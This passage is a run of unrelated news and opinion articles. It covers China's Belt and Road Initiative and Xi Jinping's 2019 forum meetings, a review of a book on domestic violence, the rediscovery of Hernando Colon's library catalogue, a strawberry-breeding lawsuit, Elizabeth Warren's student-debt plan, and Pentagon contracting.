is expected to work out a detailed plan for the advancement of BRI cooperation among participating countries in the coming years. In 2016, China and Bangladesh signed deals totaling more than US$21 billion in investment in the latter. And now, as an important partner in the BRI, Bangladesh is expecting more of the same good news of substantial investments from China. Md Enamul Hassan is the diplomatic correspondent with the Daily Sun, Bangladesh. Opinion articles reflect the views of their authors only, not necessarily those of China.org.cn. If you would like to contribute, please contact us at opinion@china.org.cn. In May 2017, President Xi Jinping welcomed twenty-eight heads of state to the inaugural Belt and Road Forum for International Cooperation to discuss how the initiative could create a more open and more efficient platform for international cooperation. In the five years since the initiative was launched, over a hundred countries and international organizations, including Italy in March this year, have signed cooperation documents on the Belt and Road. Vast infrastructure projects such as Kenya's Mombasa-Nairobi Standard Gauge Railway have been twinned with the creation of 82 economic and trade cooperation zones, such as the China-Belarus Industrial Park and Egypt's Suez Canal Economic Zone, to bring palpable benefits to local communities. This April, at the invitation of Chinese President Xi Jinping, nearly 40 heads of state or government will again attend the second Belt and Road Forum for International Cooperation, offering an opportunity to consider, deliberate, and determine the future of the initiative. To evaluate the impact of the Belt and Road Initiative thus far, China Focus enlisted Gao Anming, Vice President, China International Publishing Group, to debate with a selection of world-renowned experts from politics, academia, and business on the merits of the Belt and Road Initiative and how the initiative can sustain itself for generations to come. In this article, Mr. Gao interviews H.E. Nicholas Rosellini, UN Resident Coordinator in China, to discuss how the Belt and Road Initiative is aligned with the UN 2030 Sustainable Development Goals, how the Belt and Road is enhancing global development, and determine why the Belt and Road is essential for boosting the world's economy. Interviewee: H.E. Nicholas Rosellini, UN Resident Coordinator in China Interviewer: Gao Anming, Vice President, China International Publishing Group Location: 5th China and Globalization Forum Gao Anming: From your perspective, what are the motivations behind President Xi Jinping's 2013 proposal for this Initiative? Nicholas Rosellini: I think if you look at globalization in general, the world has benefited a lot from opening up globally since the end of the Cold War, with much greater flow of trade but beyond that also in terms of information and knowledge. The world has really become a much more integrated global economy, and I think that has had very positive advantages for many countries, and particularly developing countries, including of course China. Looking ahead, we also see that investments and globalization haven't touched all countries equally. There have been some winners, many winners in fact, and some losers, and I think the Belt and Road Initiative is that understanding that we need to also look at ways and means to continue in terms of globalization and to enhance the integration of different countries. As I said earlier, many countries have not necessarily benefited from globalization and they have not benefited from foreign direct investment in the past. Their infrastructure is poor, their energy requirements are not being met and so on. So, I think there are many investment opportunities that have been neglected in the past to help countries integrate better into the world economy. But to do that, they do need investments in industrialization, in energy, in infrastructure and I think this will be a boost for the world's economy and a boost for China, which is the largest trading economy in the world. So, I think this is potentially very positive. As I said, one also has to make sure that risks are taken care of, that the investments are done in a sustainable way, and that the countries receiving the investments have the absorptive capacity to optimize their use. Gao Anming: In your opinion, what are the sustainability issues in the construction of the Belt and Road? How can such problems be tackled? Nicholas Rosellini: The Belt and Road Initiative does provide a number of important opportunities to enhance global development but at the same time, there are a number of risks that need to be acknowledged and to be mitigated. When one looks at the opportunity side, this is an important platform for globalization. It's potentially bringing many countries into the global trading system which have not been recipients of much investment in the past. So, it's actually providing capital to countries that have been neglected in the past. Thus I think this provides a very good opportunity in terms of investment. At the same time, in the United Nations, we're looking at more than just economic development; we are also looking at social and human development and for that, we have the 2030 Agenda for Sustainable Development. I also think the Belt and Road Initiative provides opportunities in that area as well. The Sustainable Development Goals are not only about the quality of development but they are also in need of increased resourcing for development. The financial side of development is also very important, and we are looking for literally trillions of dollars of extra investment over the years up to 2030. If the Belt and Road Initiative is aligned with the Sustainable Development Goals, if it's investing in the kind of sectors that are covered by the Sustainable Development Goals, if it can generate employment, if it can help countries increase their growth rate but also do it in a sustainable way in terms of environmental and social sustainability, then I think there is not only that opportunity for economic development but also for human development, which is very important. Now at the same time, as with any investment, there are risks involved and how do we deal with those risks? I think some of the risks are for the Chinese investors; what kind of knowledge do they have of the countries they are investing in? Do they understand the local environment well? Do they have a good institutional knowledge of the country and the investment climate and so on and understand the risks involved? But also, for the destination country, there are risks; does the country have strong regulatory frameworks? Does it have a strong institutional capacity? Is the country ensuring that the investments are optimized? Do they have the absorptive capacity? Have they ensured the investments are closely in line with their national development priorities? So, the answers to these questions will be different for each country. Some countries have planned very well, they have strong absorptive capacities, good institutions, and so on. Other countries may need more support in these areas, and I think this is where we can look to the United Nations to help mitigate some of these risks. We are working in all developing countries and we have the experience of providing support to the destination countries in terms of capacity development, and certainly, we feel it is important that these investments are optimized. In this case we are talking about the Belt and Road Initiative but it applies to any investment in a country that we need to make sure that, whether it's public investment or private investment, domestic investment or foreign investment, these investments are optimized to maximize the return for ordinary people in the country. This is what we do as part of our work in the United Nations. So, I think the risks can be mitigated, but they need to be understood clearly, country by country. We have to make sure that the investments are handled in a sustainable manner in terms of environment, in terms of social issues, and of course, in terms of financial risks as well. If you would like to contribute, please contact us at opinion@china.org.cn. The second Belt and Road Forum for International Cooperation (BRF) has opened in Beijing with important thematic sessions. Meanwhile, a meeting of representatives of universities, research centers and think tanks demonstrates the Belt and Road Initiative (BRI) has become of special interest for global scholarship. The first annual meeting of the Belt and Road Studies Network (BRSN) that took place on April 24 highlights moves towards coordinated actions and establishment of a joint platform for research collaboration. In particular, the BRSN will be an open mechanism of academic exchange offering an opportunity to share ideas and disseminate research findings. The official website was launched at the same time to inform interested parties about the organizational structure and potential publications and activities of the platform. In May 2017, President Xi Jinping, addressing at the first BRF, said, "Think tanks should play a better role and efforts should be made to establish networks and partnerships." The establishment of the BRSN two years later is a definite step in that direction. Knowledge is critical to better understand what the BRI stands for and how win-win results can be produced. Excellent proposals by scholars could be financed by a Belt and Road research fund operating within the context of a new non-profit foundation. Researchers from numerous countries especially developing ones might subsequently receive grants and cooperate with Chinese colleagues if the quality of their applications is acceptable. In a period when misconceptions about China dominate the Western public sphere, the BRSN offers a creative approach to setting the record straight. Representatives of several Chinese think tanks have already talked about the necessity of "theoretical innovation." This could contribute to creation of new analytical frameworks to better explain the BRI. The Initiative itself is original so that existing frameworks do not always suffice in this regard. Terms such as "a community of shared future for the humanity," for example, require further academic analysis in order for scholars, especially those in the West, to fully understand their meaning. Yet, theoretical knowledge should not only be an affair for elites and the cognoscenti. Speakers in the first annual meeting of BRSN agreed that theory had to be linked to and be followed by practice. This is the role think tanks and research organizations play in the scheme of things. However, even universities cannot any longer rely only on theoretical approaches that lack real contact with day-to-day politics and economics. Their responsibility should be to equip students with efficient qualifications and quickly respond to learning challenges in the current era of globalization. The speed in sharing information and the power of the Internet require an immediate adjustment of old practices to new conditions. Hence, universities, research centers and think tanks could undertake a double mission in relation to realization of the BRI. First, they should be active in advising governments and facilitate policy-making. Politicians do often rely on accurate research findings in order to proceed with important decisions. Second, it is essential for universities, research centers and think tanks to have a stronger voice in national and international media. Long papers might be outstanding in terms of academic quality and deep research, but they can never really hope to appeal to general public opinion. Ordinary citizens need short analyses that provide answers to their questions about the current meaning of politics and economics. In the modern era, professors, scholars and researchers will be more successful if their work is accompanied by the ability to lead public opinion and limit misinformation that is spreading. The BRSN is certainly endeavoring to lead that movement. On the very day the first annual meeting of BRSN was organized in Beijing, the English and French editions of a compilation of President Xi Jinping's discourses on the Belt and Road Initiative were published. This is a new source for existing and new partners of the Network to better assess the BRI. Although the Initiative extends far beyond China and affects all continents in sharing prosperity, it is impossible to understand what is involved without reading the work of its initiator. George N. Tzogopoulos is a columnist with China.org.cn. For more information please visit: http://www.china.org.cn/opinion/GeorgeNTzogopoulos.htm Opinion articles reflect the views of their authors, not necessarily those of China.org.cn. If you would like to contribute, please contact us at opinion@china.org.cn. Leaders from 37 countries, including Russia and Italy, are gathering in Beijing to attend the second Belt and Road Forum for International Cooperation. Many people have noticed that the United States is absent from the guest list. "The United States has no plans to send officials from Washington to the Belt and Road Forum," a U.S. embassy spokesperson told AFP in an email. America's snub to the forum is not unexpected. Last month, just before Italy became the first G7 member to sign up for China's Belt and Road Initiative (BRI), Garrett Marquis, Special Assistant to President Trump, tweeted that there was "no need for the Italian government to lend legitimacy to China's infrastructure vanity project." However, if people were to take a closer look at what China and other Belt and Road countries have achieved since it was proposed in 2013, they would reconsider labeling it as a "vanity project." According to the statistics of China's Ministry of Commerce, the accumulated Chinese investment in overseas economic and trade zones has reached nearly US$40 billion, creating more than 300,000 jobs. From 2013 to 2018, the goods trade volume between China and countries involved in the BRI surpassed US$6 trillion, with an average annual growth rate of 4%. Time and facts have proven China's sincerity in building a trade and infrastructure network connecting Asia with Europe and Africa to seek common development and prosperity. It is China's sincerity and tangible benefits that have made the BRI more and more attractive. In 2018 alone, over 60 nations including New Zealand, Austria, Kazakhstan, and South Africa joined the initiative. So far, China has inked a number of cooperative documents with 126 countries and 29 international organizations. Americans and Chinese people all believe that actions speak louder than words. But if one turns a blind eye to BRI countries' tangible benefits, especially those received by developing countries, then one will not be able to gain a fairer understanding of the BRI. America's decision to shy away from this year's forum is a missed opportunity. As China's solution to promote sustainable and inclusive development, the BRI dovetails with the wisdom and philosophy of the Chinese people. Through the BRI, China hopes to contribute to building a world of great harmony, or "datong," a Confucian ideal that is deeply rooted in the spirit of the Chinese people. As China's State Councilor and Foreign Minister Wang Yi said, "working together to shape the Belt and Road initiative fits the trend of peaceful development, and matches the needs of each country." What makes things interesting is despite refusing to send officials to the forum, the U.S. called upon "all countries to ensure that their economic diplomacy initiatives adhere to internationally-accepted norms and standards, promote sustainable and inclusive development, and advance good governance and strong economic institutions." Well, China and other BRI countries are just practicing what the statement preaches. If you would like to contribute, please contact us at opinion@china.org.cn. Flash Chinese President Xi Jinping (R) holds talks with his Mongolian counterpart Khaltmaa Battulga, who is here on a state visit to China and to attend the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 25, 2019. [Photo/Xinhua] Chinese President Xi Jinping on Thursday held talks with his Mongolian counterpart Khaltmaa Battulga, who is in Beijing on a state visit to China and to attend the Second Belt and Road Forum for International Cooperation. China will uphold the principle of amity, sincerity, mutual benefit and inclusiveness and continue to actively support Mongolia's economic development and improvement of people's livelihood, Xi said. China and Mongolia should head towards the correct political direction, and make comprehensive plans to promote all-round cooperation as strategic partners of mutual respect and trust, cooperative partners of mutual benefit and reciprocity, friendly partners with frequent exchanges, and partners of mutual assistance at the multilateral level, he said. The two sides should strengthen political guidance and strategic communication, maintain exchanges at the high level and in all fields, and respect each other's core interests and major concerns, Xi said. The two sides should actively promote the alignment of the Belt and Road Initiative (BRI) and Mongolia's Development Road program, achieve more tangible progress in building the China-Mongolia-Russia economic corridor, strengthen exchanges in border areas and ports, and provide more convenience for trade and people-to-people exchanges, he said. Xi also proposed to organize people-to-people and cultural events to mark the 70th anniversary of the establishment of diplomatic relations between China and Mongolia this year. It is Mongolia's firm and prior diplomatic policy to develop the long-term, good-neighborly, friendly, mutually-beneficial and cooperative partnership with China, Battulga said. Mongolia firmly adheres to the one-China policy, Battulga said, adding that both Taiwan and Tibet are part of China, and the matters involving Taiwan and Tibet are China's internal affairs. On the occasion of the 70th anniversary of diplomatic relations, Mongolia is willing to work with China to map out the future direction and objectives of bilateral ties, he said. Mongolia will promote the alignment of its Development Road program and the BRI and jointly advance the development of the Mongolia-China-Russia economic corridor with China, he said. Battulga also noted that Mongolia appreciates China's important role in maintaining peace and stability on the Korean Peninsula and is willing to strengthen coordination with China in regional affairs. After the talks, the two leaders witnessed the signing of bilateral cooperation documents including a plan to align the BRI with the Development Road program. Before the talks, Xi held a welcoming ceremony for Battulga. Michelle and Rocky got together young, and quickly. By the time Michelle was just 17, the couple had two young children, but she still graduated from high school on time. Her family saw her as strong, smart, and proud. But they saw her less and less, as Rocky increasingly controlled her with violence and threats of violence. He abused drugs, waved guns around, took the children away to terrify her. She tried to leave him; she got a restraining order. She was trying to save her childrens lives, and her own. It didnt work. Rocky shot and killed Michelle and the children, then killed himself. Michelle was buried with her children in the same casket, oversized, with her arms wrapped around each of them, Rachel Louise Snyder writes, a detail almost unbearable in its poignancy. Snyder has reported on violence around the world, from Cambodia to Afghanistan to Niger to Honduras. While covering war and famine, refugees and gang members, there was one constant undercurrent, too ubiquitous to be noticed. In every country, women were brutalized and controlled by men as a matter of routine, she writes. It was there lurking in practically every story Id ever covered across the world, a shadowy background so obvious I didnt even have to ask about it most of the time. It was as common as rain. In No Visible Bruises, Snyder turns her attention to domestic violence, a story she calls among the most difficult of subjects to report on because its vast and unwieldy, but its also utterly hidden. Partly, of course, this is because of where it happens. Our homes and families are supposed to be sacred territory, Snyder writes. Furthermore, it violates our sense of how life is supposed to be. Love is what makes domestic violence different from any other crime, Snyder writes. That the people involved have said to each other and the world, you are the most important person to me. For that love to end in injury and even death, she adds, requires us to mentally, intellectually, and emotionally hurdle beyond what we can imagine. The United States spends as much as twenty-five times more on researching cancer or heart disease as it does on violence prevention. Rachel Louise Snyder Advertisement To write about domestic violence, then, Snyder has to go both wide and deep. The book opens with a close look at the murder of Michelle and her children, everything that led up to it, and the pervasive guilt and regret felt by family and friends. It is one tragedy that stands in for the millions, and we feel it, deeply. After a broad examination of the damage wrought not just to individual victims but to families, neighborhoods, communities, societies Snyder turns to the abusers. If a victim represents the end of the domestic violence process, then the person who hurt her is the beginning. If we want to end the violence, we should begin there, teaching men to recognize and disrupt the process that leads them to hurt the women and children in their lives. Snyder acknowledges that there are male victims of domestic violence, and that intimate partner abuse happens in all gender combinations, but the vast majority of these cases feature a man harming a woman. Indeed, as Snyder paraphrases one of the experts she talks to, [i]t is men who take their violence out on masses of others. School shootings are carried out by young men. Mass murders. Gang warfare, murder-suicides and familicides and matricides and even genocide: all men. Always men. So how can mens violence be addressed? In the groups Snyder observes, its clear that it takes time, trust, and reformed male voices who can talk to abusers from a place of identification. Learning to be vulnerable is a big part of things. Acknowledging the full range of emotions, including those seen as feminine: kindness, love, fear, pain, sadness, care, nurture. Here and in the books final section, which looks at those who work to assess risk and prevent violence, Snyder speaks with dozens of people, including hostage negotiators, police officers, case workers, and activists. What she concludes is that we are still largely in the dark we know things that dont help, we are getting better at understanding the signs and signals of relationships that may turn deadly, but we have so far to go. After all, she notes, The United States spends as much as twenty-five times more on researching cancer or heart disease as it does on violence prevention, despite the enormous costs of violence to our communities. Love is what makes domestic violence different from any other crime. Rachel Louise Snyder An author photo of Rachel Louise Snyder for her book, No Visible Bruises: What We Dont Know About Domestic Violence Can Kill Us. (Don Rutledge) No Visible Bruises is both reportage and manifesto. One senses Snyders impatience in the short, fragmentary sentences that pepper the book. Her empathy for the victims is powerful, and infectious. But so is her interest in the perpetrators, some of whom may be able to recover, to change and atone. And as she makes very clear, those who undertake reform studying and quantifying risk, asking smart questions about whether womens shelters help or hurt, counseling survivors and getting them the support they need are heroes. Throughout my reporting, it struck me how often I came upon such seemingly small changes that wound up making the difference between life and death, between a good decision and a bad one, Snyder writes. May the small changes add up. :: No Visible Bruises: What We DontKnow About Domestic Violence Can Kill Us Rachel Louise Snyder Bloomsbury, 320 pps, $28 Tuttle is a freelance book critic on the board of the National Book Critics Circle. A book detailing the legendary library of Hernando Colon, the younger son of explorer Christopher Columbus, has been discovered in Denmark, NPR reports. The Libro de los Epitomes, which served as a guide to Colons massive collection of books, had been missing since shortly after the bibliographers death in 1539. Edward Wilson-Lee, who has written a book about Colon and his library, said the 2,000-page book is an absolutely gorgeous thing. The most exciting thing about this is that many of the books that it summarizes will be books that are lost in every other form, Wilson-Lee told NPR. Hernando was, in many ways, a kind of crazed visionary like his father. Whilst most other book collectors of the day were collecting dusty old manuscripts of Plato and Cicero, Hernando was one of the few people to see the real potential of print. Advertisement Colon, often referred to as Ferdinand Columbus, was among the sailors on his fathers fourth expedition to the New World, which ended with the crew stranded in Jamaica after a shipwreck. Upon his return to Europe, he began collecting books, eventually amassing a library of at least 15,000 volumes in several languages. That maybe doesnt sound that big nowadays, but it was at least an order of magnitude bigger than the biggest libraries of the day, Wilson-Lee told the Guardian. Most other people, even very bookish people, would have had a couple of hundred books. Other big collections of the day were around 3,000. This was at least five times as big. He was trying to prove himself his fathers legitimate spiritual heir even if he wasnt his fathers legitimate son by building a universal library which had every book in the world in it, Wilson-Lee said in an interview with CBC Radio. He personally went around and bought books on these extraordinary book shopping sprees where he was purchasing thousands of titles at a time. Only a fraction of Colons library is still extant. The books are housed at Cathedral of St. Mary of the See in Seville, Spain, where Colon and his father are buried. The Libro de los Epitomes was commissioned by Colon as a guide to his book collection. One of the things that Hernando realized was that collecting every book in the world and this was during the early age of print when the number of books was accelerating rapidly collecting all these books wouldnt really be very useful if you didnt have some way to organize and distill them all, Wilson-Lee said. So he paid an army of readers to essentially read every book in the library and distill it down to a short summary so that this enormous library could be at the disposal of a single person who would be able to control it. Historian Guy Lazure agreed with Wilson-Lees assessment, the National Post reports. Its great to have it all, but its pointless if you cant find your way around it, Lazure said. Thats one of the great things about his thoroughness and how meticulous he was. He annotated all his books the same way. The book turned up in a collection at a university in Copenhagen among several works of Icelandic literature. This is really a story of a book that was lost in the library, almost, because it was put on the wrong shelf, Wilson-Lee told NPR. He said the book will at some point be translated from Latin and digitized, although it likely wont be available soon. Itll probably take five or seven years to actually get all of that done, Wilson-Lee said. Itll eventually be made available to the public and contribute further to this fantastically exciting story. The California strawberry may look like any other fruit, if redder and juicier than most. But that appearance conceals surprising drama lawsuits galore bearing accusations of thievery and collusion, all supposedly in the name of creating a sweeter berry with a longer shelf life. And now, years after California growers thought conflicts over the fruit finally had been put to rest, yet another lawsuit threatens their hard-won peace. Last month, the leading brand in supermarket strawberries, Driscolls, filed a federal lawsuit alleging that its proprietary berry varieties had been stolen by a company founded by the most celebrated breeder in the business and used in its own breeding program. The lawsuits target is Douglas V. Shaw and his firm, California Berry Cultivars, or CBC. As it happens, Shaw was a key figure in the last legal fight to roil the industry a years-long conflict between him and UC Davis, where he led a world-famous strawberry breeding program until striking out on his own in 2014. Advertisement We thought we had put all this behind us. A.G. Kawamura, president California Berry Cultivars In the litigation, UC alleged that Shaw and his assistant, Kirk Larson, had taken strawberry varieties and breeding records that belonged to the university when they left and refused to return the material. Shaw and Larson were using some of those varieties, or cultivars, at CBC; the university said that was an infringement of its patents. A federal court jury found almost entirely in the universitys favor, but the judge in the case, Vince Chhabria, then ordered the parties to settle their differences or he would settle them himself. They chose option A by reaching a joint settlement, and the entire strawberry community in California breathed a sigh of relief at the end of hostilities. A conflict between top-flight breeders and the university, which is the source of strawberry varieties planted on half of Californias 30,000 acres of strawberry fields, wasnt good for anybody. That was especially true for the hundreds of independent growers who need an annual supply of new plants from popular strawberry breeds as well as new varieties bred for color, richer flavor, pest resistance and other qualities. The stakes cant be minimized: With a value of nearly $2.3 billion a year, strawberries are Californias sixth most valuable crop. Strawberry growers are crossing their fingers that Driscolls lawsuit will end with a settlement, like the last. According to A.G. Kawamura, an Orange County grower who is the president of CBC, that could happen. Weve been in contact with Driscolls, he told me. Both companies want to avoid trial if possible. But he wouldnt say how active or productive such talks have been. Driscolls declined to comment. The lawsuit could map out new legal ground in plant patenting, which used to be a remote corner of the intellectual property landscape compared with engineering and software patents. But commercial efforts to create distinguishable strains have stepped up over the years fruits and vegetables are no longer merely generic products, but can be marketed as brands with distinctive qualities. These patents have gotten a lot more valuable because theyve reached past the commodity level, Paul Swanson, a patent expert in Seattle, told me. Driscolls has a huge plant patent portfolio, and it wants to make sure that what it has doesnt become part of the public domain. The Driscolls case makes many strawberry growers uneasy because it threatens to reopen wounds among the industrys most important participants that they thought finally had been sutured up. Many have declined to comment on the case beyond uttering anodyne words such as these from the California Strawberry Commission, which represents growers, shippers and processors: The commission looks forward to the resolution of strawberry plant breeding disputes: the ongoing success of all breeding programs supports the success of Californias strawberry farmers. That reflects the complex interactions of all the parties with an interest in the litigation. UC is the leading source of strawberry varieties publicly available for sale to growers; CBC is perhaps the leading private developer of varieties for the same buyers; and Driscolls is the largest developer of proprietary varieties, which growers can use only if they pay stiff royalties and commissions and agree to market their produce under the Driscolls brand. UCs strawberry breeding program dates from the 1930s, when it was created as part of the public universitys charge to support California agriculture. After Shaw took over in 1990, patents on strawberry varieties created by him and Larson became among the most profitable in UCs portfolio, bringing in about $7 million a year about $100 million total during Shaws tenure of which about $2 million a year flowed to the scientists. Things turned bitter between the university and the scientists in 2011, when they announced their intention of retiring. That triggered a battle over ownership of cultivars that Shaw and Larson had developed at UC but not yet patented. A rumor emerged that UC was planning to shut the breeding program down when the two scientists retired; the university denied it and accused Shaw and Larson of spreading the rumor themselves to drum up business for California Berry Cultivars, their firm. The university hired a new breeder, Steven Knapp, and discovered that Shaw and Larson had taken reams of crucial documentation with them when they left, and that they refused to turn it over to Knapp. (Shaw didnt reply to messages left at his home, and Larson couldnt be reached.) The university sued the scientists and CBC in federal court in 2016. The following year, a jury ruled that the plants unquestionably were UCs property and Shaw and Larson had infringed its rights. But Chhabria wasnt satisfied. As soon as the jurors filed out of his courtroom, he told the parties, Both sides are to blame for this dispute. Although the scientists had acted badly by absconding with their plants, he said, the university hadnt shown that it cared much about the program until it was forced to go to court. Both sides profess to care a great deal about strawberries, Chhabria said. But if they really cared, he concluded, they would figure out a way to avoid subjecting them to this custody battle. The two sides duly reached a deal. Shaw and Larson acknowledged UCs ownership of the cultivars and got the right to continue breeding with them, sharing revenue from the products and paying royalties where appropriate. They also agreed to pay $2.5 million to UC, to be taken out of their share of the gains as the strawberry varieties made it into the market. But the lawsuit harbored a ticking time bomb: Breeding records produced by CBC in discovery bore the name of four Driscolls strawberry varieties. That led to the new lawsuit, in which Driscolls says theres no way CBC could have gotten its hands on those varieties, except illegally. CBC hasnt yet formally responded to the Driscolls lawsuit or acknowledged its accusations. As I reported at the time of the original trial, independent growers feel they need both UC and CBC to function as a counterweight to big breeders such as Driscolls, lest they become captive growers to the big agribusinesses. CBC suggested during the UC case that the university and the proprietary growers (i.e., Driscolls) were in cahoots in the legal attack on Shaw because those growers did not want competition from Shaw at UC, or at CBC after his retirement. CBC has hinted that the same motivation may lurk behind the Driscolls lawsuit, but Driscolls says its motivation is straightforward: The reason for this suit is that Driscolls, like UC, is a victim of CBCs intellectual property theft, its general counsel, Tom OBrien, told me in an email. Driscolls is not associated with UC in this lawsuit. The chief fear strawberry growers have about the Driscolls lawsuit is that it will interrupt efforts to build a better berry. Knapp, the head of the breeding program at UC Davis, recalls that when he came on board during the last round of litigation, his work was hampered by these really horrific legal questions that were looming. Although his superiors at Davis instructed him to carry on normally, no one could be sure until the jury and judge weighed in that we might get two or three years down the road and wed have to go backwards because a verdict had gone against the university. After the lawsuit, he says, the program had to undergo a restart. UC isnt affected by the Driscolls lawsuit its not a party to the case, and the conduct of its breeding program isnt at issue. But questions are again swirling around the ability of California Berry Cultivars to weather this new storm and for many growers its almost as important a player as the university. We thought we had put all this behind us, Kawamura says. The most important thing is we still focused on moving forward to create a great strawberry. Keep up to date with Michael Hiltzik. Follow @hiltzikm on Twitter, see his Facebook page, or email michael.hiltzik@latimes.com. Return to Michael Hiltziks blog. Flash Chinese President Xi Jinping on Thursday met with Indonesian Vice President Jusuf Kalla, who is in Beiing to attend the Second Belt and Road Forum for International Cooperation. Xi received a letter from Indonesian President Joko Widodo handed over by Kalla, and asked Kalla to convey his sincere greetings to the Indonesian president. "I proposed the 21st Century Maritime Silk Road during my visit to Indonesia," Xi said, adding that the two countries have made new progress in bilateral relations and achieved remarkable results in cooperation in various fields over the past few years by taking the Belt and Road Initiative as an opportunity. Aligning the joint building of the Belt and Road and Indonesia's Global Maritime Axis is the overall framework of the bilateral cooperation in the new era, Xi said. Both sides should identify key areas and directions for cooperation as soon as possible, and implement key projects such as the Jakarta-Bandung High-Speed Railway, he said. "I have proposed to build a new model of international relations featuring mutual respect, fairness, justice and win-win cooperation, with an aim to give a Chinese solution to the problems in today's world," Xi said. That is in line with the "Ten Principles of Bandung Conference" jointly advocated by China and Indonesia 64 years ago, Xi said. The two sides should communicate and coordinate closely, jointly safeguard the legitimate rights and interests of developing countries, and build a community with a shared future for humanity, Xi said. Kalla said that Indonesia is an important partner in international cooperation under the Belt and Road Initiative, and is willing to strengthen exchanges and cooperation with China in trade, investment, education and other fields. Indonesia is willing to work with China to firmly uphold multilateralism, and jointly promote global and regional peace, stability and prosperity, Kalla said. Presidential candidate Elizabeth Warren unveiled her plan to address the student debt mess Monday and promptly took brickbats because it would help higher-income families more than the poor. Warrens Student-Debt Deal Would Most Benefit Stronger Earners, declared the Wall Street Journal. At Slate, Jordan Weissmans take was: Elizabeth Warrens Student Loan Forgiveness Plan Mostly Helps the Middle Class. Both articles were based on a Brookings Institution analysis that asked, How progressive is Senator Elizabeth Warrens loan forgiveness proposal? and concluded: Not progressive at all. These conclusions are true, up to a point. But they apply to one element of Warrens proposal, a broad forgiveness of existing student debt. Warrens proposal has three other parts that address major flaws in Americas approach to higher education, and with much more far-reaching, and positive, effects. Advertisement Government decided that instead of treating higher education like our public school system...theyd rather cut taxes for billionaires. Sen. Elizabeth Warren (D-Mass.) Warrens proposals include making public universities free, shoring up the finances of historically black universities, and placing a tight leash on for-profit colleges, which profiteer off minority and low-income students. Warren calculates that her debt cancellation plan would involve a one-time cost to the government of $640 billion, while the other elements would cost an additional $610 billion over 10 years. She says the money could come from her proposed wealth tax on families with more than $50 million in assets. We got into this crisis because state governments and the federal government decided that instead of treating higher education like our public school system free and accessible to all Americans, Warren says, theyd rather cut taxes for billionaires and giant corporations and offload the cost of higher education onto students and their families. Lets take a closer look. The student debt cancellation element of Warrens proposal has received the most attention one might say all the attention because it addresses the aspect of college financing thats foremost on the publics radar. Its what people think of as the crisis part; were inundated with assertions that recent graduates are laboring under a blanket of college debt so heavy that it will have long-lasting economic effects by killing homeownership rates and preventing debtors from starting families, among other consequences. Its reasonable to say that the crisis has been exaggerated or at least misunderstood. In a 2016 book, Sandy Baum of the Urban Institute points to scare stories about graduates with truly crushing debt but says that these cases are outliers, masking the fact that the problem is much less severe and pervasive than the media would lead us to believe. Only 7% of all borrowers owe more than $75,000 in education debt, Baum observes, mostly because of graduate or professional degrees; about 40% owe less than $10,000. In truth, the overall debt load for the 18-to-29 age cohort has not soared. The median payment on student loans has remained at about 3% to 4% of income for the last 20 years. The group with the highest default rate on student loans is graduates owing less than $5,000. Yet default rates have unmistakably been rising, especially among black students who attended a for-profit institution or never completed their education. Thats a sign that student debt is exacerbating racial disparities in our society. Any broad-based proposal to forgive student loans is going to run into a few built-in problems. One is that its inevitably going to favor groups with the most debt, which means people with law, business and medical degrees, who also have the most potential for earning incomes allowing them to repay their loans with relatively minimal pain. High-income families accumulate disproportionately higher loan balances, so theyre going to receive disproportionately larger breaks. Warren tries to adjust for those realities several ways. She phases out the loan forgiveness starting with households with income of more than $100,000, eliminating it entirely for those earning $250,000 or more. The cap of $50,000 on forgiven loans limits the break for doctors and lawyers, many of whom leave school with much higher balances. The Brookings analysis still thinks this cap is generous, since only about 2% of people with a four-year degree have loans that large. Warren cites an economic analysis done for her presidential campaign by Thomas Shapiro of Brandeis University, finding that her plan would provide at least some debt cancellation for 95% of people with student loan debt (and complete and total student debt cancellation for more than 75%). She says it also would provide targeted cancellation for the families that need it most, substantially increase Black and Latinx wealth, and help close the racial wealth gap. Warrens loan forgiveness proposal will disproportionately benefit middle- and upper-income borrowers, but would also help the working class. (Brookings Institution) The question is how much debt cancellation is needed by 95% of all borrowers, or even 75%. Brookings Adam Looney calculates that the top 20% of households (with income of $110,000 and above) would receive 27% of Warrens largesse while the bottom 60% (income up to $68,000) receive only 34%. Borrowers with advanced degrees represent 27% of borrowers, but would claim 37% of the annual benefit, he says. What about the other elements of Warrens proposal? Lets start with making all public higher education free. She is correct in observing that the nations public universities have been systematically deprived of public funding, with the cost being shifted toward students and their families via rising tuition. In some states, the shift has been rapid and devastating, according to the progressive think tank Demos. In Pennsylvania, the proportion of revenue covered by tuition rose to 73% from 49% between 2001 and 2016. In only one state has the ratio fallen in that period: Wyoming, where it went to 13% from 27%. (California has managed to hold the line somewhat; tuition increases at its public colleges and universities brought the ratio to 21% in 2016, up from 10% in 2001.) Warrens plan has been criticized for overlooking that the bulk of students at state universities come from higher-income families, so her free-college plan would again be a boon to the wealthier. But its also true that the rising cost even of state universities may well be keeping lower-income or minority students out of the classroom. Warren also proposes a fund of at least $50 billion for historically black colleges and universities and minority-serving institutions. These institutions tradition of making higher education available for historically overlooked groups has been hampered by chronic financial problems. Finally, Warren proposes banning for-profit colleges from receiving any federal dollars (including military benefits and federal student loans). This is a long-overdue reform, running directly counter to the Trump administrations policy of indulging an educational sector rife with fraud and punishing its student victims instead. Warrens higher-education plan isnt perfect. But some of its shortcomings can be patched by tweaking some features lowering the forgiveness cap and making the income phaseout more progressive, for example. On the whole, however, shes offered a range of options for rethinking and reforming Americas access to colleges and universities so that higher education fulfills its responsibility to level the career playing field for American students, whatever their race or family income, instead of perpetuating and even increasing inequality. Keep up to date with Michael Hiltzik. Follow @hiltzikm on Twitter, see his Facebook page, or email michael.hiltzik@latimes.com. Return to Michael Hiltziks blog. The year was 1989. The Pentagon was under the command of President George H.W. Bush and Defense Secretary Dick Cheney. And aviation giant McDonnell Douglas Corp. was riding high as the top federal contractor, grabbing 4.6%, or $9.15 billion, of all federal contracting dollars. The next two largest contractors, General Dynamics Corp. and General Electric Co., raked in about 4% and 3.4%, respectively. Thirty years and many acquisitions later, Pentagon spending has grown far more top-heavy. Today, Lockheed Martin Corp. and Boeing which bought McDonnell Douglas in 1997 together reaped almost 15% of total U.S. government contracting dollars in fiscal year 2017, according to the most recent federal numbers. The two aerospace giants are the only makers of fast combat jets in the U.S. and are the dominant players for military transport aircraft. The concentrated power of big defense companies became an issue two years ago when longtime Boeing executive Patrick Shanahan was confirmed as deputy secretary of Defense. Then in December, President Trump named him to serve as acting Defense secretary. Advertisement After a monthlong ethics investigation into allegations that Shanahan promoted Boeing while slamming rival Lockheed Martin, particularly in discussions about its F-35 fighter jet contract, the Pentagons office of inspector general concluded Thursday that Shanahan did not promote Boeing or disparage 